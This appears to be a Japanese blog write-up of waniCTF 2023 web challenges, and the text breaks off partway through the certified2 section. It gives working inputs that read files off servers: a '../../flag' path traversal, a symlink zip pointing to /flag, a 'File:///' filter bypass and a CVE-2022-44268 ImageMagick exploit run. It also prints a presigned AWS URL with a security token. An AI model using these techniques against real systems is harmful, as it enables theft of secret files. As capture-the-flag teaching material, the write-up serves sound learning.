[waniCTF 2023] writeup(web)

Posted on May 6, 2023

waniCTF 2023が2023/5/4(Thu) 15:00 ~ 2023/5/6(Sat) 15:00(JST)で開催されました。

[web] IndexedDB

このページのどこかにフラグが隠されているようです。ブラウザの開発者ツールを使って探してみましょう。

It appears that the flag has been hidden somewhere on this page. Let’s use the browser’s developer tools to find it.

https://indexeddb-web.wanictf.org

/をcurlでGETするとflagをindexedDBに格納するjavascriptが含まれるページが返されます。

$ curl https://indexeddb-web.wanictf.org/
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
  </head>

  <body>
  </body>
  <script>
    var connection;

    window.onload = function () {
      var openRequest = indexedDB.open("testDB");

      openRequest.onupgradeneeded = function () {
        connection = openRequest.result;
        var objectStore = connection.createObjectStore("testObjectStore", {
          keyPath: "name",
        });
        objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" });
      };

      openRequest.onsuccess = function () {
        connection = openRequest.result;
      };
      window.location = "1ndex.html";
    };
  </script>
</html>
FLAG{y0u_c4n_u3e_db_1n_br0wser}

[web] Extract Service 1

ドキュメントファイルの要約サービスをリリースしました!配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね…? どんなHTTPリクエストが送信されるのか見てみよう!

We have released a summary service for document files! Please feel free to use the sample document file in the “sample” folder of the distribution file for trial purposes.

The secret information is written in the /flag file on the server, but it should be safe, right…? Let’s see what kind of HTTP request is sent!

https://extract1-web.wanictf.org

.docxファイルなどをアップロードすると、内容を要約してくれるアプリケーションが提供されます。

extract_service1

以下、main.goです。

package main

import (
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"regexp"

	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
)

func main() {
	r := gin.Default()
	r.LoadHTMLGlob("templates/*")

	r.MaxMultipartMemory = 1 << 20 // 1MiB, to prevent DoS

	r.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", gin.H{
			"result": "",
		})
	})

	r.POST("/", func(c *gin.Context) {
		baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
		zipPath := baseDir + ".zip"                        // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip

		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		extractTarget := c.PostForm("target")
		if extractTarget == "" {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : target is required",
			})
			return
		}

		if err := os.MkdirAll(baseDir, 0777); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		if err := c.SaveUploadedFile(file, zipPath); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		if err := ExtractFile(zipPath, baseDir); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		result, err := ExtractContent(baseDir, extractTarget)
		if err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		c.HTML(http.StatusOK, "index.html", gin.H{
			"result": result,
		})
	})

	if err := r.Run(":8080"); err != nil {
		panic(err)
	}
}

func ExtractFile(zipPath, baseDir string) error {
	if err := exec.Command("unzip", zipPath, "-d", baseDir).Run(); err != nil {
		return err
	}
	return nil
}

func ExtractContent(baseDir, extractTarget string) (string, error) {
	raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
	if err != nil {
		return "", err
	}

	removeXmlTag := regexp.MustCompile("<.*?>")
	resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
	removeNewLine := regexp.MustCompile(`\r?\n`)
	resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
	return resultNewLineRemoved, nil
}

ファイルがアップロードされた際、以下の処理が実行されます。/tmpにディレクトリが作成され、アップロードされたファイルが/tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zipなどのパスに保存されます。保存されたファイルはzipファイルとして展開され、targetで指定されたパスを読み込むことで文字列を抽出します。

r.POST("/", func(c *gin.Context) {
		baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
		zipPath := baseDir + ".zip"                        // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip

		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		extractTarget := c.PostForm("target")
		if extractTarget == "" {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : target is required",
			})
			return
		}

		if err := os.MkdirAll(baseDir, 0777); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		if err := c.SaveUploadedFile(file, zipPath); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		if err := ExtractFile(zipPath, baseDir); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		result, err := ExtractContent(baseDir, extractTarget)
		if err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		c.HTML(http.StatusOK, "index.html", gin.H{
			"result": result,
		})
	})

ここでtargetで指定されるパスが検証されないため、任意のパスを読み込むことができます。

func ExtractContent(baseDir, extractTarget string) (string, error) {
	raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
	if err != nil {
		return "", err
	}

	...
}

flagはシステムの/flagに配置されています。

RUN echo "FAKE{FAKE_FLAG}" > /flag

RUN chmod 664 /flag

適当なファイルを投げて、target../../flagに変更することで、flagが得られます。

extract_service1_flag

FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}

[web] 64bps

dd if=/dev/random of=2gb.txt bs=1M count=2048
cat flag.txt >> 2gb.txt
rm flag.txt

↓↓↓

https://64bps-web.wanictf.org/2gb.txt

配布されるDockerfileです。2gb.txtという2GBのファイルにflagを追記しています。

FROM nginx:1.23.3-alpine-slim

COPY nginx.conf /etc/nginx/nginx.conf
COPY flag.txt /usr/share/nginx/html/flag.txt

RUN cd /usr/share/nginx/html && \
    dd if=/dev/random of=2gb.txt bs=1M count=2048 && \
    cat flag.txt >> 2gb.txt && \
    rm flag.txt

nginx.confを見ると、帯域幅制限があって2gb.txtを全てダウンロードするのは難しそうです。

user  nginx;
worker_processes  auto;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    keepalive_timeout  65;
    gzip               off;
    limit_rate         8; # 8 bytes/s = 64 bps

    server {
        listen       80;
        listen  [::]:80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }
    }
}

HTTPのRange Requestsを用いて2gb.txtのうちflagの部分だけをダウンロードします。

$ curl -H "Range: bytes=2147483648-21474836100" https://64bps-web.wanictf.org/2gb.txt

FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}

ちなみに、SECCON Beginners CTF 2022のgalleryもこの手法を使用する問題でした(参考)。

FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}

[web] Extract Service 2

Extract Service 1は脆弱性があったみたいなので修正しました! 配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね…?

We have fixed Extract Service 1 as it had vulnerabilities! Please feel free to use the sample document file in the “sample” folder of the distribution file for trial purposes.

The secret information is written in the /flag file on the server, but it should be safe, right…?

https://extract2-web.wanictf.org

Extract Service 1の続きです。main.goは以下です。

package main

import (
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"regexp"

	"github.com/gin-gonic/gin"
	"github.com/google/uuid"

	"log"
)

func main() {
	r := gin.Default()
	r.LoadHTMLGlob("templates/*")

	r.MaxMultipartMemory = 1 << 20 // 1MiB, to prevent DoS

	r.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", gin.H{
			"result": "",
		})
	})

	r.POST("/", func(c *gin.Context) {
		baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
		zipPath := baseDir + ".zip"                        // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip

		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		// patched
		extractTarget := ""
		targetParam := c.PostForm("target")
		if targetParam == "" {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : target is required",
			})
			return
		}
		if targetParam == "docx" {
			extractTarget = "word/document.xml"
		} else if targetParam == "xlsx" {
			extractTarget = "xl/sharedStrings.xml"
		} else if targetParam == "pptx" {
			extractTarget = "ppt/slides/slide1.xml"
		} else {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : target is invalid",
			})
			return
		}

		if err := os.MkdirAll(baseDir, 0777); err != nil {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		if err := c.SaveUploadedFile(file, zipPath); err != nil {
			log.Println("SaveUploadedFile", err)
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		if err := ExtractFile(zipPath, baseDir); err != nil {
			log.Println("ExtractFile", err)
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		result, err := ExtractContent(baseDir, extractTarget)
		if err != nil {
			log.Println("ExtractContent", err)
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : " + err.Error(),
			})
			return
		}

		c.HTML(http.StatusOK, "index.html", gin.H{
			"result": result,
		})
	})

	if err := r.Run(":8080"); err != nil {
		panic(err)
	}
}

func ExtractFile(zipPath, baseDir string) error {
	if err := exec.Command("unzip", zipPath, "-d", baseDir).Run(); err != nil {
		return err
	}
	return nil
}

func ExtractContent(baseDir, extractTarget string) (string, error) {
	raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
	if err != nil {
		return "", err
	}

	removeXmlTag := regexp.MustCompile("<.*?>")
	resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
	removeNewLine := regexp.MustCompile(`\r?\n`)
	resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
	return resultNewLineRemoved, nil
}

以下、Extract Service 1のmain.goとの差分です。docxの場合はword/document.xmlxlsxの場合はxl/sharedStrings.xmlpptxの場合はppt/slides/slide1.xmlが読み込まれます。

38,41c38,39
< 		// patched
< 		extractTarget := ""
< 		targetParam := c.PostForm("target")
< 		if targetParam == "" {
---
> 		extractTarget := c.PostForm("target")
> 		if extractTarget == "" {
47,58d44
< 		if targetParam == "docx" {
< 			extractTarget = "word/document.xml"
< 		} else if targetParam == "xlsx" {
< 			extractTarget = "xl/sharedStrings.xml"
< 		} else if targetParam == "pptx" {
< 			extractTarget = "ppt/slides/slide1.xml"
< 		} else {
< 			c.HTML(http.StatusOK, "index.html", gin.H{
< 				"result": "Error : target is invalid",
< 			})
< 			return
< 		}

実際にdocxファイルなどをzipファイルとして展開してみるとわかりますが、word/document.xmlにWord文書がXMLで定義されています(参考)。

この状況で/flagをどう読み込めば良いかどうかわからなかったので、適当に"docx upload unzip ctf"などで検索すると、作問者の方の過去の関連問題のwriteupが出てきました。

シンボリックリンクで/flagを読み出す方針が良さそうです。zipファイルとして展開すると、word/document.xml/flagへのシンボリックリンクになっている場合、/flagを読み込むことができます。

以下で、シンボリックリンクとzipファイルを作成します。

$ mkdir word
$ ln -s /flag ./word/document.xml
$ zip -ry payload.zip word # -ryでシンボリックを維持してzip化

作成したzipファイルをアップロードするとflagが得られました。

FLAG{4x7ract_i3_br0k3n_by_3ymb01ic_1ink_fi1e}

[web] screenshot

好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。

An application that takes screenshots of your favorite websites.

https://screenshot-web.wanictf.org

URLを入力すると、そのwebサイトのスクリーンショットを撮影してくれるアプリケーションが提供されます。 screenshot

index.jsは以下です。

const playwright = require("playwright");
const express = require("express");
const morgan = require("morgan");

const main = async function () {
  const browser = await playwright.chromium.launch();

  const app = express();

  // Logging
  app.use(morgan("short"));

  app.use(express.static("static"));

  app.get("/api/screenshot", async function (req, res) {
    const context = await browser.newContext();
    context.setDefaultTimeout(5000);

    try {
      if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }

      const page = await context.newPage();

      const params = new URLSearchParams(req.url.slice(req.url.indexOf("?")));
      await page.goto(params.get("url"));

      const buf = await page.screenshot();

      res.header("Content-Type", "image/png").send(buf);
    } catch (err) {
      console.log("[Error]", req.method, req.url, err);
      res.status(500).send("Internal Error");
    } finally {
      await context.close();
    }
  });

  app.listen(80, () => {
    console.log("Listening on port 80");
  });
};

main();

flag.txt/appディレクトリに存在します。

COPY . /app
COPY ./flag.txt /flag.txt

以下の条件式をバイパスしてfile:///app/flag.txtをURLとして指定することができれば良いです。

if (!req.query.url.includes("http") || req.query.url.includes("file")) {
    res.status(400).send("Bad Request");
    return;
}

File:///app/flag.txt?httpなどでflag.txtのスクリーンショットを撮ることができます。 screenshot_flag

FLAG{beware_of_parameter_type_confusion!}

[web] certified1

最近流行りの言語を使った安全なウェブアプリが完成しました!

We have released a secure web application using a state-of-the-art language!

https://certified-web.wanictf.org

この問題にはフラグが2つ存在します。ファイル/flag_Aにあるフラグをcertified1に、環境変数FLAG_Bにあるフラグをcertified2に提出してください。

There are two flags in this problem. Please submit the flag in file /flag_A to certified1 and one in the environment variable FLAG_B to certified2.

Note: “承認, ワニ博士” means “Approved, Dr. Wani” in Japanese.

画像をアップロードするとワニ博士の承認スタンプを押してくれるアプリケーションです。実用的ですね。 certified1 certified1_hanko

以下、画像を処理するprocess_image.rsです。

use anyhow::{bail, Context, Result};
use std::path::Path;
use std::process::Stdio;
use tokio::fs;
use tokio::process::Command;

pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> {
    println!("{}", working_directory.join(input_filename).display());
    fs::copy(
        working_directory.join(input_filename),
        working_directory.join("input"),
    )
    .await
    .context("Failed to prepare input")?;

    fs::write(
        working_directory.join("overlay.png"),
        include_bytes!("../assets/hanko.png"),
    )
    .await
    .context("Failed to prepare overlay")?;

    let child = Command::new("sh")
        .args([
            "-c",
            "timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
        ])
        .current_dir(working_directory)
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::piped())
        .spawn()
        .context("Failed to spawn")?;

    let out = child
        .wait_with_output()
        .await
        .context("Failed to read output")?;

    if !out.status.success() {
        bail!(
            "image processing failed on {}:\n{}",
            working_directory.display(),
            std::str::from_utf8(&out.stderr)?
        );
    }

    Ok(())
}

以下の部分で、ImageMagickを用いて入力の画像に、ハンコの画像を重ねる処理を行います。

let child = Command::new("sh")
    .args([
        "-c",
        "timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
    ])

Dockerfileをみると、ImageMagickのバージョン7.1.0-51が使用されていることがわかります。

ARG MAGICK_URL="https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-51/ImageMagick--gcc-x86_64.AppImage"
RUN curl --location --fail -o /usr/local/bin/magick $MAGICK_URL && \
    chmod 755 /usr/local/bin/magick

調べると、CVE-2022-44268の脆弱性が見つかりました。画像のメタデータを介して、任意のファイルが読める脆弱性のようです。

ここではバージョン7.1.0-49にこの脆弱性が存在することが示されていますが、バージョン7.1.0-51も脆弱であるか確かめるためにexploitを実行します。こちらのexploitコードを使用します。

certified1のflagは/flag_Aに書かれています。

RUN echo 'FAKE{REDACTED}' > /flag_A
ENV FLAG_B="FAKE{REDACTED}"

画像のメタデータを介して/flag_Aを読み込むことができました。

$ python3 CVE-2022-44268.py --image network_dennou_sekai_man.png --file-to-read /flag_A --output poisoned.png

# poisoned.pngをアップロード

$ python3 CVE-2022-44268.py --url https://certified-web.wanictf.org/view/a51f7447-60d6-4eb7-9508-aad37c1318bf
FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}
FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}

[web] Lambda

以下のサイトはユーザ名とパスワードが正しいときフラグを返します。今あなたはこのサイトの管理者のAWSアカウントのログイン情報を極秘に入手しました。このログインを突破できますか。

The following site returns a flag when you input correct username and password. Now you have the confidential login information for the AWS account of the administrator of this site. Please get through this authentication.

https://lambda-web.wanictf.org

まず、提供されるwebサイトのソースをみると、usernameとpasswordをAPI Gatewayを用いて立てられているAPIに送信していることがわかります。

window.onload = (event) => {
  const btn = document.querySelector("#submitBtn");

  btn.addEventListener("click", async () => {
    console.log("aaa");
    const password = document.querySelector(".password");
    const username = document.querySelector(".username");
    const result = document.querySelector(".result");
    console.log(password);
    console.log(username);
    const url = new URL(
      "https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/"
    );
    url.searchParams.append("PassWord", password.value);
    url.searchParams.append("UserName", username.value);
    const response = await fetch(url.href, { method: "get" });
    Promise.resolve(response.text()).then(
      (value) => {
        console.log(value);
        result.innerText = value;
      },
      (value) => {
        console.error(value);
      }
    );
  });
};

AWSのアクセスキーとシークレットアクセスキーが提供されます。ここでは念のため、キーは伏せ字にしています。

Access key ID,Secret access key,Region
*********,*********,ap-northeast-1

提供されたクレデンシャルを用いてAWSのAPIを叩いていきます。まずはアクセスキーとシークレットアクセスキー、リージョンを設定します。

$ aws configure
AWS Access Key ID [None]: *********
AWS Secret Access Key [None]: *********
Default region name [ap-northeast-1]: ap-northeast-1
Default output format [text]: json

API Gatewayの一覧を取得します。WaniCTFLambdaGatewayというAPI Gatewayが見つかります。

$ aws apigateway get-rest-apis --region ap-northeast-1
{
    "items": [
        {
            "id": "k0gh2dp2jg",
            "name": "WaniCTFLambdaGateway",
            "createdDate": "2023-04-23T10:05:08+09:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "REGIONAL"
                ]
            },
            "disableExecuteApiEndpoint": false
        }
    ]
}

WaniCTFLambdaGatewayのリソースを取得します。GETメソッドが見つかります。

$ aws apigateway get-resources --rest-api-id k0gh2dp2jg 
{
    "items": [
        {
            "id": "hd6co6xcng",
            "path": "/",
            "resourceMethods": {
                "GET": {}
            }
        }
    ]
}

GETメソッドの定義を確認します。wani_functionというlambdaを使用していることがわかります。

$ aws apigateway get-method --rest-api-id k0gh2dp2jg --resource-id hd6co6xcng --http-method GET
{
    "httpMethod": "GET",
    "authorizationType": "NONE",
    "apiKeyRequired": false,
    "requestParameters": {},
    "methodResponses": {
        "200": {
            "statusCode": "200",
            "responseModels": {
                "application/json": "Empty"
            }
        }
    },
    "methodIntegration": {
        "type": "AWS_PROXY",
        "httpMethod": "POST",
        "uri": "arn:aws:apigateway:ap-northeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-northeast-1:839
865256996:function:wani_function/invocations",
        "passthroughBehavior": "WHEN_NO_MATCH",
        "contentHandling": "CONVERT_TO_TEXT",
        "timeoutInMillis": 29000,
        "cacheNamespace": "hd6co6xcng",
        "cacheKeyParameters": [],
        "integrationResponses": {
            "200": {
                "statusCode": "200",
                "responseTemplates": {}
            }
        }
    }
}

wani_functionの情報を取得します。

$ aws lambda get-function --function-name wani_function            
{
    "Configuration": {
        "FunctionName": "wani_function",
        "FunctionArn": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function",
        "Runtime": "dotnet6",
        "Role": "arn:aws:iam::839865256996:role/service-role/wani_function-role-zhw0ck9t",
        "Handler": "WaniCTF_Lambda::WaniCTF_Lambda.Function::LoginWani",
        "CodeSize": 960588,
        "Description": "",
        "Timeout": 15,
        "MemorySize": 512,
        "LastModified": "2023-05-01T14:21:15.000+0000",
        "CodeSha256": "Gfkg4Q7OrMA+DPsFg6zR+gZXezeG8KEMe/8w8BLmRSA=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "0a4cde2c-6dbb-4240-9332-2f5611256deb",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ]
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-ap-ne-1-tasks.s3.ap-northeast-1.amazonaws.com/snapshots/839865256996/wani_fun
ction-df5e5803-a6c5-4483-b58a-a296b73218a3?versionId=JWFcoHVwceWBtheBA6f9sJoChpeeeHF.&X-Amz-Security-Token=IQoJb3JpZ
2luX2VjEOf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgfdEN8DoVIG5g3V%2By1MutC5DMJW4fdxdvxiemi5XOYfM
CIDGUfmlFC8cgAJbPv9d4BEdQIVmwXl%2BWGvEBQPMpHm%2BGKsoFCPD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQAxoMOTE5OTgwOTI1MTM5IgyiHWd
BT9Arl4SftYoqngViAKDI25pWXXRjvpWHA%2FPskdQ6I7YkMsMa5XmvvW82v3GGFvJyO%2FhzEuDTRewtlnxnGITCVB4ESGllVdnwyjKwE5MxbcXsJjz
skrDhbXUkMy7FBSF1kwAesU04az%2FLOUT5hToMuWS%2FEoE9t5iwCrnLoPYc8NUMmcMHYq6ykZOx00RIS2e%2Fj6aDwYAqt0%2Bh5pDMG2pxBdmV1JN
NF3dAA5uIUFZAytgqEfBRYp4o%2BDOzcI0EDA8BOSC91V5IUFE7uM7ZLh6HItiyM44RiyMf7ndL6FsVd%2BSki9j1Gcq0PV0IHoOTrnwDOTgHxvW33EY
lwGfNSMea2rvbhLvjTWunMxKn0ft%2BJsIKxzN5zI87JDzA%2BaHZbSR0HdoM9u59dl7rc2j%2FJUDv1r6Bt4yliuiqTVJdhg4fLz2O%2BeJjQvwB5SQ
fxCCI1Nm5sc32JkP18p0Ch%2BYVDK%2BuDWfYy1jVIMtRgoCVw0VrFiHgKGi2FQDgO12SJcE4PagZPm0Ae8qCZ9ewoL%2B%2F6KtddMxiXK5w0aG1G9X
LvsbMkFauwBwnqtU82t7if4M4noUkNRYMeYMWTAFz3K9wb5JIi8xtGTlWBrml72qA%2FphEL%2FC14QGnJUMeyAXqp1CCUEFpcdViFaUwhwYDjNIhzxv
mTthcbpAGM056JVY0fThRHu1Blrs38S6dA%2FkiJCEcBgNEk9YFaLLaQrAxmhaGl%2Bx30yCX1QNhEGBxUSESOI9KzSF3ew1HdlGamKOh2jb2c9go%2F
R%2FGIDYOAsXKXrg3lGvFPoB%2B%2Fbxsdth9qAXw5hXMYHoNlJTe741QntM0FKzeYxLbLRpkUAaUveP95E2RFJQ71fN6lARfEQmMaaAra2nPPEzXKJe
HqCgM173B%2FFED8F0jQ%2FxbkqC%2BtavsMOKVz6IGOrIBLC8KUOTMjtrar8lP0YVkhXmTcK70p5euS1%2FfbWYchh4I29tknvilK4wrMSsNIuF9T8p
6IzqoYI5NwmwNaVAfNVaG9fTFLZZ5IXTw6t3W7WAFgSUSn3WbQY%2B%2Bg5PhrjGt0fWwJrwGpDxC%2BVgsQHzjnkAgtRn1Hi612VAfkXzCkgVmYVgy%
2FRGvHHOdBXBjZeCiAKbXBZqccCoB%2FrLQ6OrkLSgVZFlwBSJ24kMpnLSx1qnITA%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=
20230504T160931Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA5MMZC4DJ5YNVE2FU%2F20230504%2Fap-no
rtheast-1%2Fs3%2Faws4_request&X-Amz-Signature=4ea8dfc6e3f0fc5fc5d35d29baad784be079f84d74a90f563cec5fd2e1958563"
    }

lambda関数のバイナリを取得します。

$ url=$(aws lambda get-function --function-name wani_function | jq -r '.Code.Location') 
$ curl -o lambda.zip ${url}
$ unzip lambda.zip

zipファイルを展開するとこれらのファイルが得られます。

Amazon.Lambda.APIGatewayEvents.dll
Amazon.Lambda.Core.dll
Amazon.Lambda.Serialization.Json.dll
Amazon.Lambda.Serialization.SystemTextJson.dll
Newtonsoft.Json.dll
WaniCTF_Lambda.deps.json
WaniCTF_Lambda.dll
WaniCTF_Lambda.runtimeconfig.json

.NETはよくわかりませんが、とりあえず.dllをデコンパイルしたいです。自分はMacを使用しているので、ILSPyのCLI版を利用してデコンパイルを行います。

まずは、こちらから.NETのSDKをダウンロードし、以下でILSPyのCLI版をインストールします。

$ dotnet tool install --global ilspycmd

WaniCTF_Lambda.dllをデコンパイルするとflagが見つかります。

$ ilspycmd WaniCTF_Lambda.dll                   
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Versioning;
using Amazon.Lambda.APIGatewayEvents;
using Amazon.Lambda.Core;
using Amazon.Lambda.Serialization.Json;
using Microsoft.CodeAnalysis;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: LambdaSerializer(typeof(JsonSerializer))]
[assembly: TargetFramework(".NETCoreApp,Version=v6.0", FrameworkDisplayName = ".NET 6.0")]
[assembly: AssemblyCompany("WaniCTF_Lambda")]
[assembly: AssemblyConfiguration("Release")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyInformationalVersion("1.0.0")]
[assembly: AssemblyProduct("WaniCTF_Lambda")]
[assembly: AssemblyTitle("WaniCTF_Lambda")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace Microsoft.CodeAnalysis
{
        [CompilerGenerated]
        [Embedded]
        internal sealed class EmbeddedAttribute : Attribute
        {
        }
}
namespace System.Runtime.CompilerServices
{
        [CompilerGenerated]
        [Microsoft.CodeAnalysis.Embedded]
        [AttributeUsage(AttributeTargets.Class | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Parameter | AttributeTargets.ReturnValue | AttributeTargets.GenericParameter, AllowMultiple = false, Inherited = false)]
        internal sealed class NullableAttribute : Attribute
        {
                public readonly byte[] NullableFlags;

                public NullableAttribute(byte P_0)
                {
                        NullableFlags = new byte[1] { P_0 };
                }

                public NullableAttribute(byte[] P_0)
                {
                        NullableFlags = P_0;
                }
        }
        [CompilerGenerated]
        [Microsoft.CodeAnalysis.Embedded]
        [AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Method | AttributeTargets.Interface | AttributeTargets.Delegate, AllowMultiple = false, Inherited = false)]
        internal sealed class NullableContextAttribute : Attribute
        {
                public readonly byte Flag;

                public NullableContextAttribute(byte P_0)
                {
                        Flag = P_0;
                }
        }
}
namespace WaniCTF_Lambda
{
        public class Function
        {
                public APIGatewayProxyResponse LoginWani(APIGatewayProxyRequest input, ILambdaContext context)
                {
                        IDictionary<string, string> queryStringParameters = input.QueryStringParameters;
                        Dictionary<string, string> headers = new Dictionary<string, string>
                        {
                                ["Access-Control-Allow-Origin"] = "https://lambda-web.wanictf.org",
                                ["Access-Control-Allow-Methods"] = "GET OPTIONS"
                        };
                        if (queryStringParameters == null)
                        {
                                return new APIGatewayProxyResponse
                                {
                                        StatusCode = 500,
                                        Body = "QueryStringParameters is null",
                                        Headers = headers
                                };
                        }
                        if (!queryStringParameters.ContainsKey("UserName") || !queryStringParameters.ContainsKey("PassWord"))
                        {
                                return new APIGatewayProxyResponse
                                {
                                        StatusCode = 400,
                                        Body = "ユーザー名とパスワードを指定してください",
                                        Headers = headers
                                };
                        }
                        string text = queryStringParameters["UserName"];
                        string text2 = queryStringParameters["PassWord"];
                        if (text == "LambdaWaniwani" && text2 == "aflkajflalkalbnjlsrkaerl")
                        {
                                return new APIGatewayProxyResponse
                                {
                                        StatusCode = 200,
                                        Body = "FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}",
                                        Headers = headers
                                };
                        }
                        return new APIGatewayProxyResponse
                        {
                                StatusCode = 200,
                                Body = "Password or UserName are incorrect!!! :  " + text + ": " + text2,
                                Headers = headers
                        };
                }
        }
}
FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}

[web] certified2

certified1をご覧ください。

Please see certified1.

certified1の続きです。

certified2のflagは環境変数に入っているため、certified1で使用したexploitを使用して/proc/self/environを読み込むことを考えますが、これはできません。

kurenaifさんがyoutubeで解説されていますが、/proc/self/environはファイルの実体がなく容量が0byteであるため、ImageMagickの実装上、ファイルを読み込めません。

問題の実装を追ってみます。以下はcreate.rsです。ファイルを受け取って指定するパスに書き込み、process_image関数を使用して、画像にハンコを押します。

use crate::handler::helper::HandlerResult;
use crate::process_image::process_image;
use anyhow::Context;
use axum::debug_handler;
use axum::extract;
use axum::http::StatusCode;
use axum::response::IntoResponse;
use bytes::Bytes;
use std::path::PathBuf;
use tokio::fs;
use uuid::Uuid;

// POST /create
#[debug_handler]
pub async fn handle_create(mut multipart: extract::Multipart) -> HandlerResult {
    let id = Uuid::new_v4();

    let current_dir = PathBuf::from(format!("./data/{id}"));
    fs::create_dir(&current_dir)
        .await
